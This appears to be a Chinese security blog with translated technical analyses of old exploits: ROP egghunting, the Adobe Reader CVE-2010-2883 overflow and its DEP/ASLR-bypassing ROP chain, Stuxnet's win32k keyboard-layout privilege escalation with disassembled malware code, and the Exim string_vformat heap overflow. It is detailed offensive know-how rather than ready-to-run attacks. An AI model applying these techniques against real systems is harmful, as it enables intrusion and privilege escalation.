• Ropping eggs

    日期:2011-05-17 | 分类:软件漏洞

     

    前些日Corelan Team (corelanc0d3r)在其博客上发表一篇题为《Hack Notes : Ropping eggs for breakfast》的文章,地址如下:

    http://www.corelan.be/index.php/2011/05/12/hack-notes-ropping-eggs-for-breakfast/

    读完思量许久,大致理解后,将思路理清,简要记录如下:

     

    1.控制ret或者seh后返回到rop链并执行;

    2.预置的rop指令链调用VirtualProtect函数(或者copy、copy_size等函数)将egghunter例程所在内存区域设置为可执行内存;

    3.调用egghunter搜索以"W00T"标志开头的egg,即shellcode指令,接着再次调用VP函数将egg所在内存区域设置为可执行,并调用它。

     

    关于egghunter源码如下:http://dev.metasploit.com/redmine/projects/framework/repository/revisions/12637/entry/lib/rex/exploitation/egghunter.rb

     

    实例运用:

    http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb

     

    PS:上述方法着实可省去定位shellcode地址的麻烦,但由于exploit运行于Windows XP SP3/2003 Server R2 SP2平台上,并没有受aslr保护,而且VP地址是硬编码的,故其通用性自然要受限制,在win7上也是不可用的。若想在win7下使用ropping eggs技术,还需动态定位VP函数,这可通过在noaslr模块找到call vp的指针;或者在栈中找到一指向kernel32模块的指针(此处并非指模块基址,只要是指针kernel32即可),再偏移找到VP函数地址;又或者……(等着你来补充)。

     

  • 作者:Nicolas Joly

    译者:riusksk(泉哥:http://riusksk.blogbus.com

     

             本文旨在与大家分享一些关于最近Adobe Acrobat/Reader 0-Day exploit(CVE-2010-2883)的技术细节。在VUPEN组织中,我们分析了大量的漏洞和0day,并且针对各类程序和操作系统编写出相当完善的exploit代码。近几月来,我们编写了许多关于Adobe Reader漏洞的利用代码,并且均可绕过DEP保护。

             那为何本0day exploit会如此有趣呢,以致我们还需著文一篇呢?因为它使用了一些令人难忘的奇淫异技,以及一些非常手段以此绕过DEPASLR保护,这在我们平时是很少见的。也许部分人已经知晓,在本漏洞中,经过恶意构造的PDF文件可利用”CoolType.dll”中的非安全函数”strcat()”导致溢出漏洞的发生。当PDF文件以特制表段来嵌入字体时,即可以此触发漏洞。

     

    .text:0803DCF9 push ebp
    .text:0803DCFA sub esp, 104h
    .text:0803DD00 lea ebp, [esp-4]
    .text:0803DD04 mov eax, dword_8230FB8
    .text:0803DD09 xor eax, ebp
    .text:0803DD0B mov [ebp+108h+var_4], eax
    .text:0803DD11 push 4Ch
    .text:0803DD13 mov eax, offset loc_8184A54
    .text:0803DD18 call __EH_prolog3_catch                       // set up an SE handler
    .text:0803DD1D mov eax, [ebp+108h+arg_C]
    .text:0803DD23 mov edi, [ebp+108h+arg_0]
    .text:0803DD29 mov ebx, [ebp+108h+arg_4]
    .text:0803DD2F mov [ebp+108h+var_130], edi
    .text:0803DD32 mov [ebp+108h+var_138], eax

     

    当字体文件中的SING表段被找到后,程序执行以下指令:

     

    .text:0803DD74 push offset aSing ; "SING"
    .text:0803DD79 push edi ; int
    .text:0803DD7A lea ecx, [ebp+108h+var_12C]
    .text:0803DD7D call sub_8021B06
    ...
    .text:0803DD9F loc_803DD9F:
    .text:0803DD9F add eax, 10h
    .text:0803DDA2 push eax                                          // long string following the SING table
    .text:0803DDA3 lea eax, [ebp+108h+Dest]
    .text:0803DDA6 push eax                                          // ~256 bytes stack buffer
    .text:0803DDA7 mov [ebp+108h+Dest], 0
    .text:0803DDAB call strcat                                        // insecure!

     

    为了利用此漏洞,通常黑客都是通过覆写返回地址或者SE handler,但这里它可能就行不通了。因为它存在一个stack cookie,从而阻止返回地址被利用,而当进入一个设置了异常处理例程的函数后,其栈情况如下:

     

    |      SE     |
    |  NEXT SE
     |
    |     DEST  | <-- vulnerable buffer
    |       ...    
     |
    |  COOKIE |
    |      EBP   
     |
    | RET ADD |

     

    如上所示,如果你覆写了返回地址,那么cookie也会被改写,进而阻止恶意代码的运行。而如果你继续覆写下去直到触发异常,那么你就可以步过cookie,然后将控制权交由SE handler处理。显然,这种解决方法并没有什么特别之处。还有另一种方法,就是覆盖函数中的参数或者变量。这里攻击者也正好是使用这种方法,当他覆盖了栈空间后,在BIB.dll中出现首次异常,因为下一个调用函数使用了这一个覆盖的参数:

     

    .text:0803DDB0 pop ecx
    .text:0803DDB1 pop ecx
    .text:0803DDB2 lea eax, [ebp+108h+Dest]
    .text:0803DDB5 push eax
    .text:0803DDB6 mov ecx, ebx               // ebx actually points to arg_4, which is overwritten
    .text:0803DDB8 call sub_8001243

     

    然后:

     

    .text:070013F7 lea eax, [ecx+1Ch]         // ecx = [arg_4]
    .text:070013FA mov [ebp+var_8], eax
    .text:070013FD mov eax, [ebp+var_8]
    .text:07001400 lock dec dword ptr [eax] // first crash here

     

    若指向了一个无效地址,那么首次异常将会在0x07001400地址触发,进而执行SE handler,最终导致Adobe Acrobat/Reader崩溃。因此必须设置一个有效指针,至少得允许程序可以在内存中任意递减一个dword字节,这也着实有效(例如CVE-2008-4812)。但即便如此,也很难编写出一个可以绕过DEPASLRexploit。不过sub_8016BDE给我们带来了希望,它将两个指针压入栈中作为参数:

     

    .text:0803DEA9 loc_803DEA9:
    .text:0803DEA9
    .text:0803DEA9 lea eax, [ebp+108h+var_124]
    .text:0803DEAC push eax
    .text:0803DEAD push ebx
    .text:0803DEAE push edi                     // ebx and edi point to arg_4 and arg_0
    .text:0803DEAF call sub_8016BDE

     

    上面这段代码实际上是以arg_0为参数来调用sub_8016BDE,而sub_8016BDE将返回0或者一个指针。如果返回0,那么程序将会跳到地址0x080172CE,然后退出函数。但如果是返回一个指针,那么sub_801BB21(以arg_0作为其中的一个参数)将被调用。

     

    .text:08016C2B push edi
    .text:08016C2C mov [ebp+664h+var_668], ebx
    .text:08016C2F mov [ebp+664h+var_694], ebx
    .text:08016C32 mov [ebp+664h+var_678], ebx
    .text:08016C35 call sub_801BB1C       // return 0 or a pointer
    .text:08016C3A cmp eax, ebx
    .text:08016C3C pop ecx
    .text:08016C3D mov [ebp+664h+var_67C], eax
    .text:08016C40 jz loc_80172CE
    .text:08016C46 push 1
    .text:08016C48 push ebx
    .text:08016C49 push ebx
    .text:08016C4A lea eax, [ebp+664h+var_678]
    .text:08016C4D push eax
    .text:08016C4E lea eax, [ebp+664h+var_694]
    .text:08016C51 push eax
    .text:08016C52 push edi
    .text:08016C53 push [ebp+664h+var_67C]
    .text:08016C56 call sub_801BB21        // this call must be reached

     

    函数sub_801BB1C执行后:

     

    .text:0801BA57 mov eax, dword_823A728
    .text:0801BA5C test eax, eax               // the attacker does not control this pointer
    .text:0801BA5E jz short locret_801BA73
    .text:0801BA60 mov ecx, [esp+arg_0] // however ecx may point to a controlled dword
    .text:0801BA64 mov ecx, [ecx+4]
    .text:0801BA67
    .text:0801BA67 loc_801BA67:
    .text:0801BA67 cmp ecx, [eax+4]
    .text:0801BA6A jz short locret_801BA73
    .text:0801BA6C mov eax, [eax+8]
    .text:0801BA6F test eax, eax
    .text:0801BA71 jnz short loc_801BA67
    .text:0801BA73
    .text:0801BA73 locret_801BA73:
    .text:0801BA73
    .text:0801BA73 retn

     

    这里ECX必须等于[eax+4],以便使函数能够返回除NULL以外的值,那么eax+4 必须指向哪个值呢?

     

    0x0000006c
    0x0000006b
    0x00000070
    0x0000006f
    0x0000006d

     

    由于strcat要被利用,因此null字节是不能使用的!此处令arg_0 + 4指向0x0000006D,这意味着此值是不可随意更改的,以便限制拷入栈中的字节数。这也正是exploit作者没有覆盖整个栈空间,而只覆盖部分空间的原因所在。最后进入sub_801BB21sub_808B116

     

    .text:0808B2E3 mov eax, [edi+3Ch] // edi = arg_0, but edi + 3Ch points to a stack pointer,
                                                         // itself pointing to a controlled value

    .text:0808B2E6 cmp eax, ebx
    .text:0808B2E8 mov [esi+2F4h], eax
    .text:0808B2EE mov [esi+2F8h], ebx
    .text:0808B2F4 mov [ebp+var_4], ebx
    .text:0808B2F7 jnz short loc_808B300
    .text:0808B2F9
    .text:0808B2F9 loc_808B2F9:
    .text:0808B2F9 xor al, al
    .text:0808B2FB jmp loc_808B594
    .text:0808B300
    .text:0808B300 loc_808B300:
    .text:0808B300 lea ecx, [ebp+var_4]
    .text:0808B303 push ecx
    .text:0808B304 push ebx
    .text:0808B305 push 3
    .text:0808B307 push eax
    .text:0808B308 call dword ptr [eax] // EIP is redirected here

     

    故事到此就可以结束了,但关于ROP技术还是比较少见的。取icucnv36.dll上的地址并不能实现各版本的通用性(至少在9.2.0版本以上),并且不能绕过ASLR。不过有位exploit作者对同一恶意pdf文件进行了改进,他在上面提及的dll文件上(阅读器版本>= 9.20)使用了ROP技术,借此达到攻击目的。这一DLL确实有趣,他并不是使用了函数VirtualAlloc,VirtualProctect,HeapCreate,WriteMemory,甚至连LoadLibrary也没有,这个利用起来有点复杂。他是通过查找并使用了以下函数:

     

    4A84903C CreateFileA                // create the file iso88591
    4A849038 CreateFileMappingA    // attrib RWE
    4A849030 MapViewOfFile            // load this file in memory with RWE flags
    4A849170 memcpy                    // copy the payload

     

    攻击者是想利用ROP模块进行堆喷射,而其后用shellcode填充。他先在磁盘上创建一个文件(iso88591),然后以RWE属性将其加载到内存中,接着将payload复制到内存,最后执行shellcode。这一exploit先将ESP指向欲喷射的地址:

     

    .text:4A80CB38 add ebp, 794h
    .text:4A80CB3E leave
    .text:4A80CB3F retn

     

    返回后来到:

     

    .text:4A82A714 pop esp             // esp = 0x08852030
    .text:4A82A715 retn

     

    0x08852030实际指向一块由同一ROP地址所覆盖的空间,以实现栈喷射:

     

    .text:4A801064 retn

     

    接着返回到ROP地址,然后将所创建的文件映射到一块可执行的内存页,该地址popeax中,然后以下列指令实现调用:

     

    .text:4A80B692 jmp dword ptr [eax]

     

    现在你可以注意到动态参数已被写入栈中:

     

    .text:4A80A8A6 and dword ptr [2*ebx + esp], edi 
    .text:4A80A8A9 jnz short loc_4A80A8AE
    ...
    .text:4A80A8AE loc_4A80A8AE:
    .text:4A80A8AE cmp al, 2Fh
    .text:4A80A8B0 jz short loc_4A80A8AB
    .text:4A80A8B2 cmp al, 41h
    .text:4A80A8B4 jl short loc_4A80A8BA
    ...
    .text:4A80A8C8 loc_4A80A8C8:
    .text:4A80A8C8
    .text:4A80A8C8 xor al, al
    .text:4A80A8CA retn

     

    最后它调用memcpy,然后跳到payload执行任意代码,即使开启了DEPASLR,亦均可无视。

             至于此漏洞是通过fuzzing还是静态分析挖掘到,这就不得而知了。但很显然,攻击者对此exploit的巧妙设计,足以表明作者对Acrobat,LiveCycle,JavascriptROP技术熟知的深厚功底,并对调试器的运用也是相当娴熟。

             事实上,这是一个典型的案例,对于同一DLL文件,同一个exploit文件,攻击者依然能够在在不同版本的程序、操作系统(windows XPVista7)上执行成功,即使开启了各类安全机制,依然能够凑效。

    注意,存在同类安全问题的DLL文件也存在于微软的主产品中……

  •  

    作者:Sebastien Renaud

    译者:riusksk(泉哥:http://riusksk.blogbus.com

     

    本文将向各位揭示一些关于Stuxnet蠕虫病毒的技术细节,主要旨在讲述作者是如何利用0day漏洞实现代码的通用性。文中讨论的是作者所用到的两个Windows提权漏洞之一。这一漏洞在微软发布的MS10-073升级补丁中已经修复了,但还有另一个windows任务调度(Task Scheduler)漏洞尚未修补。虽然本文将深入分析Stuxnet病毒及其执行的恶意行为,但我们仍将不会公布由来自SymantecESET的朋友所写的两份详细文档,包括其具体目录和内容。我们将主要关注下Windows Win32K.sys 键盘布局文件提权漏洞(CVE-2010-2743)并分析下Stuxnet病毒是如何使用自定义的Portable Executable (PE)解析方式来实现代码的通用性的。

     

    1.       漏洞分析

    此漏洞存在于windows驱动文件”win32k.sys”中,当其从磁盘中加载一个键盘布局文件时,由于不正当地去索引函数指针列表,导致本地提权漏洞的产生。通常,键盘布局文件是通过”LoadKeyboardLayout()”函数来加载的,该函数其实是对win32k syscall函数 ”NtUserLoadKeyboardLayoutEx()” 的封装。下面是加载键盘布局文件后内核中的栈情况:

    kd> kn
    # ChildEBP RetAddr 
    00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
    01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c
    02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37
    03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395
    04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164
    05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
    06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel)

    一旦恶意构造的键盘布局文件被win32k内核驱动加载后,恶意程序将会向键盘输入流中发送一个事件,进而有效地触发漏洞。此过程会调用”user32!SendUserInput()”函数来执行,其实,它是调用了”win32k!NtUserSendInput()””win32k!xxxKENLSProcs()”这两个函数:

    kd> kn
    # ChildEBP RetAddr 
    00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs
    01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
    02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158
    03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2
    04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
    05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
    06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
    07 0012fd7c 00401ded USER32!NtUserSendInput+0xc
    WARNING: Stack unwind information not available. Following frames may be wrong.
    08 0012fdac 00401331 CVE_2010_2743+0x1ded

    ”win32k!xxxKENLSProcs()”函数里面,win32k驱动会去检索先前加载的键盘布局文件中的某一字节。这一字节会被置入ECX寄存器,然后作为函数指针表的索引值:

    ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
    ; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
    ;

    .text:BF8A1F50 movzx ecx, byte ptr [eax-83h]  // ECX
    可被攻击者控制
    .text:BF8A1F57 push edi
    .text:BF8A1F58 add eax, 0FFFFFF7Ch
    .text:BF8A1F5D push eax
    .text:BF8A1F5E call _aNLSVKFProc[ecx*4]        // 
    索引函数数组指针

    aNLSVKFProc函数数组包含有3个函数,并且后面跟随着一段字节数组:

    .data:BF99C4B8 _aNLSVKFProc   dd offset _NlsNullProc@12
    .data:BF99C4BC                        dd offset _KbdNlsFuncTypeNormal@12
    .data:BF99C4C0                        dd offset _KbdNlsFuncTypeAlt@12
    .data:BF99C4C4 _aVkNumpad db 67h
    .data:BF99C4C5                        db 68h
    .data:BF99C4C6                        db 69h
    .data:BF99C4C7                        db 0FFh
    .data:BF99C4C8                        db 64h
    .data:BF99C4C9                        db 65h
    .data:BF99C4CA                        db 66h
    .data:BF99C4CB                        db 0FFh
    .data:BF99C4CC                       
     db 61h
    .data:BF99C4CD                       
     db 62h
    .data:BF99C4CE                        db 63h
    .data:BF99C4CF                        db 60h
    .data:BF99C4D0                        db 6Eh
    .data:BF99C4D1                        db 0
    .data:BF99C4D2                        db 0
    .data:BF99C4D3                        db 0
    [...]

    如果请求的索引值大于2,那么代码将会引用字节数组中的值作为指针。如果索引值为5,那么在函数”win32k!xxxKENLSProcs()”中的代码就会调用0xBF99C4CC处的指针,相当于程序将执行至0x60636261

    kd> dds win32k!aNLSVKFProc L6
    bf99c4b8 bf9332ca win32k!NlsSendBaseVk             // index 0
    bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal  // index 1
    bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt        // index 2
    bf99c4c4 ff696867                                                // index 3
    bf99c4c8 ff666564                                                // index 4
    bf99c4cc 60636261                                               // index 5
    [...]

     

    2.       通过PE解析提高代码执行的通用性

    aNLSVKFProc函数数组未被引用输出时,为了获得可在各个”win32k.sys”驱动版本上执行恶意代码的通用性,Stuxnet作者必须确保索引数据位于aNLSVKFProc数组之外,并且指向一个可控制的有效指针,然后执行”call”指令。为了达到上述目的,Stuxnet exploit解析Win32K.sys文件时使用以下方法:

     

    以平面数据文件(flat data file,即无格式文件)的形式加载win32k.sys

    获取PE头相关信息(块数,输出表数据目录和输入表数据目录等等);

    获取时间戳信息;

    获取.data节段虚拟地址;

    获取.data节段信息;

    获取.text节段虚拟地址;

    获取.text节段信息;

    搜索特定的二进制签名;

    搜索NLSVKFProcs函数数组。

     

    Stuxnet使用一个在各”win32k.sys”驱动版本(位于Windows 2000Windows XP中,并且在目标系统上安装好各服务包和补丁)上都存在的二进制签名。这一签名与”aulShiftControlCvt_VK_IBM02”变量(非输出)的前8字节相匹配,其位于二进制文件中的.data节段:

    .data:BF99C4DC _aulShiftControlCvt_VK_IBM02 
    .data:BF99C4DC  db 91h 
    .data:BF99C4DD  db 0
    .data:BF99C4DE  db 3
    .data:BF99C4DF  db 1
    .data:BF99C4E0  db 90h
    .data:BF99C4E1  db 0
    .data:BF99C4E2  db 13h
    .data:BF99C4E3  db 1

    目前已知签名:

     

    存在于各win32k驱动版本;

    具有唯一性;

    aNLSVKFProc函数数组附近。

     

    一旦签名被找到,病毒就在偏移签名处 -1000 ~ +1000 字节的地址范围内,去搜索驱动中的代码块指针。如下所示,位于0xBF99C4780xBF9332CA)的指针就指向了代码段:

    .data:BF99C470 07  00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF
    .data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF

    上述数据转储若从代码的角度来看,情况如下:

    .data:BF99C470 _fNlsKbdConfiguration db 7 
    .data:BF99C471                     align 8
    .data:BF99C478 _aNLSKEProc                 dd offset _NlsNullProc@12
    .data:BF99C47C off_BF99C47C               dd offset _NlsLapseProc@12
    .data:BF99C480                                     dd offset _NlsNullProc@12 
    [...]

    当这样的指针被找到后,病毒将遵循以下条件进行处理(记住,当前代码停在0xBF99C478,我们称之为”pLoc”):

    - pLoc[0] pLoc[2] 必须是同一指针:

     .data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
    .data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
    .data:BF99C480                                    dd offset _NlsNullProc@12 

    - pLoc[0]pLoc[1] 必须非同一指针:

    .data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
    .data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
    .data:BF99C480                                    dd offset _NlsNullProc@12 

    - pLoc[0]pLoc[3] 必须非同一指针:

    .data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
    .data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
    .data:BF99C480                                    dd offset _NlsNullProc@12 
    .data:BF99C484                                    dd offset _NlsSendParamVk@12 

    满足以上条件后,病毒就基本可以确定找到”_aNLSKEProc”数组了。然而它将进一步检测该地址上的指针是否指向NlsNullProc()函数,这个通过搜索函数前几字节中的RETN 0C指令(机器码:0xC20C)即可实现:

    .text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
    .text:BF9332CA _NlsNullProc@12 proc near 
    .text:BF9332CA                                  xor eax, eax
    .text:BF9332CC                                  inc eax
    .text:BF9332CD                                  retn 0Ch   // opcodes: 0xC2 0x0C
    .text:BF9332CD _NlsNullProc@12 endp

    下面是Stuxnet病毒进行机器码搜索的一段反汇编代码:

    CPU Disasm
    10002C5F PUSH 2
    10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5]     // ecx points to func code
    10002C64 |XOR EAX,EAX 
    10002C66 |POP EDI                                             // edi = 2
    10002C67 |/TEST EAX,EAX
    10002C69 ||JNE SHORT 10002C7E
    10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2 // c2 0c => RETN 0c
    10002C71 ||SETE AL                                            // set AL on condition
    10002C74 ||INC EDI
    10002C75 ||CMP EDI,0A                                      // check only for the first 8 bytes
    10002C78 |\JB SHORT 10002C67

    如果找到”RETN 0C”指令,则当前代码定位在_aNLSKEProc变量中(0xBF99C478):

    .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12

    到这后,程序还会进一步搜索下一个”NlsNullProc()” 函数指针:

    .data:BF99C4B0                                   dd offset _NlsKanaEventProc@
    .data:BF99C4B4                                   dd offset _NlsConvOrNonConvProc@12 
    .data:BF99C4B8 _aNLSVKFProc: 
    .data:BF99C4B8                                   dd offset _NlsNullProc@12
    .data:BF99C4BC                                   dd offset _KbdNlsFuncTypeNormal@
    .data:BF99C4C0                                   dd offset _KbdNlsFuncTypeAlt@12 

    如上所见,它找到了非输出的aNLSVKFProc 函数数组。为了确保变量正确,病毒又进行了两次检测:

    - 在偏移 +2处的指针不为NlsNullProc:

    .data:BF99C4B0                                   dd offset _NlsKanaEventProc@
    .data:BF99C4B4                                   dd offset _NlsConvOrNonConvProc@12 
    .data:BF99C4B8 _aNLSVKFProc: 
    .data:BF99C4B8                                   dd offset _NlsNullProc@12
    .data:BF99C4BC                                   dd offset _KbdNlsFuncTypeNormal@
    .data:BF99C4C0                                   dd offset _KbdNlsFuncTypeAlt@12 

    - 在偏移 -2 处的指针不为NlsNullProc:

    .data:BF99C4B0                                   dd offset _NlsKanaEventProc@
    .data:BF99C4B4                                   dd offset _NlsConvOrNonConvProc@12 
    .data:BF99C4B8 _aNLSVKFProc: 
    .data:BF99C4B8                                   dd offset _NlsNullProc@12
    .data:BF99C4BC                                   dd offset _KbdNlsFuncTypeNormal@
    .data:BF99C4C0                                   dd offset _KbdNlsFuncTypeAlt@12 

    当所有的这些检测都通过后,病毒就可以完全确定它是aNLSVKFProc了。然后从该函数数组开始检测第一个用户指针:

    CPU Disasm

    10002B35 MOV EDI,10000                                                      // edi = 0x10000

    10002B3A /MOV ECX,DWORD PTR SS:[ARG.2]                         // _aNLSVKFProc

    10002B3D |MOVZX EAX,BL

    10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX]                  // esi = _aNLSVKFProc[i]

    10002B43 |CMP ESI,7FFF0000                                                 // must be in user space

    10002B49 |JNB SHORT 10002B91

    10002B4B |CMP DWORD PTR SS:[ARG.6],0

    10002B4F |JNE SHORT 10002B55

    10002B51 |CMP ESI,EDI                                                         // must be above 0x10000

    10002B53 |JB SHORT 10002B91

    10002B55 |PUSH 1C

    10002B57 |LEA EAX,[LOCAL.10]

    10002B5A |PUSH EAX

    10002B5B |PUSH ESI                                                             // pointer outside array

    10002B5C |CALL DWORD PTR DS:[VirtualQuery_p]                  // get page information

    10002B62 |CMP EAX,1C

    10002B65 |JA SHORT 10002BA7

    10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI                      // is it a MEM_FREE page?

    10002B6A |JNE SHORT 10002B91

    10002B6C |PUSH 40

    10002B6E |PUSH 3000

    10002B73 |LEA EAX,[LOCAL.3]

    10002B76 |PUSH EAX

    10002B77 |PUSH 0

    10002B79 |LEA EAX,[LOCAL.1]

    10002B7C |PUSH EAX

    10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI

    10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]

    10002B86 |PUSH EAX

    10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p] // alloc page 

    10002B8D |TEST EAX,EAX

    10002B8F |JE SHORT 10002BB0

    10002B91 |INC BL

    10002B93 |CMP BL,0FF                                                          // i <= 255

    10002B96 \JBE SHORT 10002B3A

    上述代码片段是从Stuxnet反汇编代码中提取的,它先从函数指针表中获取指针(甚至是从表外获取的),然后检测该指针是否小于0x7FFF0000并大于0x10000。另外,代码还会检测内存页是否已经被映射,如果尚未映射,则分配内存页。在本例中,它将继续在地址0x60636261上分配内存:

    kd> dds win32k!aNLSVKFProc L6

    bf99c4b8 bf9332ca win32k!NlsSendBaseVk             // index 0

    bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal  // index 1

    bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt        // index 2

    bf99c4c4 ff696867                                                // index 3

    bf99c4c8 ff666564                                                // index 4

    bf99c4cc 60636261                                               // index 5

    [...]

    内存分配完成后,病毒将执行以下操作:

     

    ● 将shellcode复制到0x60636261地址上;

    ● 在键盘布局文件中保存恶意索引值(本例中值为5);

    ● 加载键盘布局文件并发送输入事件,进而触发漏洞。

     

    最后一步是执行”win32k!xxxKENLSProcs()”函数,然后调用从函数数组中索引得到的函数指针,接着以内核权限去执行任意的shellcode代码。

    ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C

    ; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003

    ;

    .text:BF8A1F50 movzx ecx, byte ptr [eax-83h]      // ECX = 5

    .text:BF8A1F57 push edi

    .text:BF8A1F58 add eax, 0FFFFFF7Ch

    .text:BF8A1F5D push eax

    .text:BF8A1F5E call _aNLSVKFProc[ecx*4]            // Call 0x60636261

    正如我们所见到的,在各个操作系统版本(2000或者XP)并安装了各服务包和补丁的情况下,Stuxnet使用了特意构造的PE解析方式,进而保证了函数数组能够被稳定地找到并进行漏洞利用。

    该病毒所使用的方法还可以做进一步的改进,或者采用其它不同的方式。但这一病毒的出现正如人们所预料的,它再一次证明了:病毒作者变得越来越聪明了。

  •  

    作者:Matthieu Bonetti

    译者:riusksk(泉哥:http://riusksk.blogbus.com

     

    近期 (CVE-2010-4344)漏洞被广泛利用了,攻击者借此可远程向以Exim作为消息传输代理的系统发动攻击,并可完全控制系统。关于这一漏洞本身其实很容易理解,但要编写出具有稳定性的exploit则颇有难度。最初公布的稳定性exploit是由jduck1337编写的,其它相对不太稳定的利用代码也可以在网上找到。在这里,我们将与大家分享一些针对该漏洞利用过程中的技术细节,以帮助大家编写出更具稳定性的exploit程序。

     

    1.       漏洞分析

    本漏洞是由”string_vformat()”函数引发,其在处理经恶意构造的email messageheader时,由于缺乏有效地过滤,导致缓冲区溢出的发生。Exim使用各种自定义的函数来处理字符串,此可参见”exim-4.69/src/string.c”文件中的源码。其中关于”string_vformat()”函数的工作原理如下:

    - 指针 "p" 指向 buffer
    -
    指针 "last" 指向 buffer + buflen – 1

     

    1066 BOOL
    1067 string_vformat(uschar *buffer, int buflen, char *format, va_list ap)
    1068 {
    1069 enum { L_NORMAL, L_SHORT, L_LONG, L_LONGLONG, L_LONGDOUBLE };
    1070 
    1071 BOOL yield = TRUE;
    1072 int width, precision;
    1073 char *fp = format;                             /* Deliberately not unsigned */
    1074 uschar *p = buffer;
    1075 uschar *last = buffer + buflen - 1;
    1076 
    1077 string_datestamp_offset = -1;              /* Datestamp not inserted */

     

    然后将变量”width””precision”均设为-1

     

    1102 item_start = fp;
    1103 width = precision = -1;
    1104 
    1105 if (strchr("-+ #0", *(++fp)) != NULL)

     

    如果参数”format”%s,那么它将执行以下步骤:

    - 首先通过 "strlen()" 计算出buffer的长度,但并非buflen
    - 如果width  precision均为假,则将width  precision 设为由 "strlen()"计算得到的buffer长度

     

    1238 case 'S':                                             /* Forces *lower* case */
    1239 s = va_arg(ap, char *);
    1240 
    1241 INSERT_STRING:                                /* Come to from %D above */
    1242 if (s == NULL) s = null;
    1243 slen = Ustrlen(s);
    1244 
    1245 /* If the width is specified, check that there is a precision
    1246 set; if not, set it to the width to prevent overruns of long
    1247 strings. */
    1248 
    1249 if (width >= 0)
    [?]
    1256 
    1257 else if (precision >= 0)
    [?]
    1263 
    1264 else width = precision = slen;
    1265
    1266 /* Check string space, and add the string to the buffer if ok.

     

    如果”p”大于”last - width”,那么widthprecision两个变量会被改变。

     

    1267 not OK, add part of the string (debugging uses this to show as
    1268 much as possible). */
    1269 
    1270 if (p >= last - width)
    1271 {
    1272 yield = FALSE;
    1273 width = precision = last - p - 1;
    1274 }

     

    接着precisionwidth会被”sprint()”函数作为参数来调用,buffer也会被填充数据进去,直至遇到NULL字节或者达到widthprecision指定的限制值。

     

    1275 sprintf(CS p, "%*.*s", width, precision, s);
    1276 if (fp[-1] == 'S')
    1277 while (*p) { *p = tolower(*p); p++; }
    1278 else
    1279 while (*p) p++;

     

    为了帮助读者完全理解”string_vformat()”函数的工作原理,下面使用以下参数作为示例:

             - string_vformat(buffer, 3, "%c %s", ap)

    ap是一个包含单字符和长字符串"looooooooooong buffer"va_list可变参数。

    首先,plast被设置为:

             - p 指向位于0x08CCC965 地址的buffer
             - last 
    指向 0x08CCC965 + 3 - 1 = 0x08CCC967

    然后,开始处理”%c”p指向的地址再加上一个char和一个空格所占用的大小:

              p = 0x08CCC965 + 2 = 0x08CCC967

    接着widthprecision被设置为-1。然后再处理”%s”

              - slen 设为 21 (利用strlen()).
             - width precision为假时均将其设为21

    last减去width新值后小于p

              0x08CCC967 - 21 = 0x08ccc952
              0x08CCC967 > 0x8ccc952

    变量widthprecision被改变了:

              width = precision = last - p - 1
              width = precision = 0x08CCC967 - 0x08CCC967 - 1
              width = precision = -1

    ”sprintf()”函数被调用时,它就会以值均为0xFFFFFFFFwidthprecision作为其参数来复制长字符串,虽然允许复制的字节大小被限制为3 ,但整个va_list中的长字符串内容都可被复制进去,这也就导致了堆溢出的发生。这一漏洞也从反汇编代码来分析,先是plast被初始化:

     

    .text:080A99E9 mov edx, [ebp+buffer]                         // p
    .text:080A99EC mov eax, [ebp+buflen]
    .text:080A99EF mov ecx, [ebp+format]
    .text:080A99F2 mov string_datestamp_offset, 0FFFFFFFFh
    .text:080A99FC mov edi, edx
    .text:080A99FE lea eax, [edx+eax-1]
    .text:080A9A02 mov [ebp+last], eax                            // last
    .text:080A9A05 sub eax, 1
    .text:080A9A08 mov [ebp+src], ecx
    .text:080A9A0B mov [ebp+yield], 1
    .text:080A9A12 mov [ebp+last_minus_one], eax          // last-1, used later
    .text:080A9A15 jmp short loc_80A9A2F

     

    当处理%s时,它使用”strlen()”来计算va_list中字符串的长度:

     

    .text:080A9DE8 loc_80A9DE8: 
    .text:080A9DE8 mov [esp], ebx                                  // long string
    .text:080A9DEB call _strlen
    .text:080A9DF0 mov edx, [ebp+width]
    .text:080A9DF3 test edx, edx
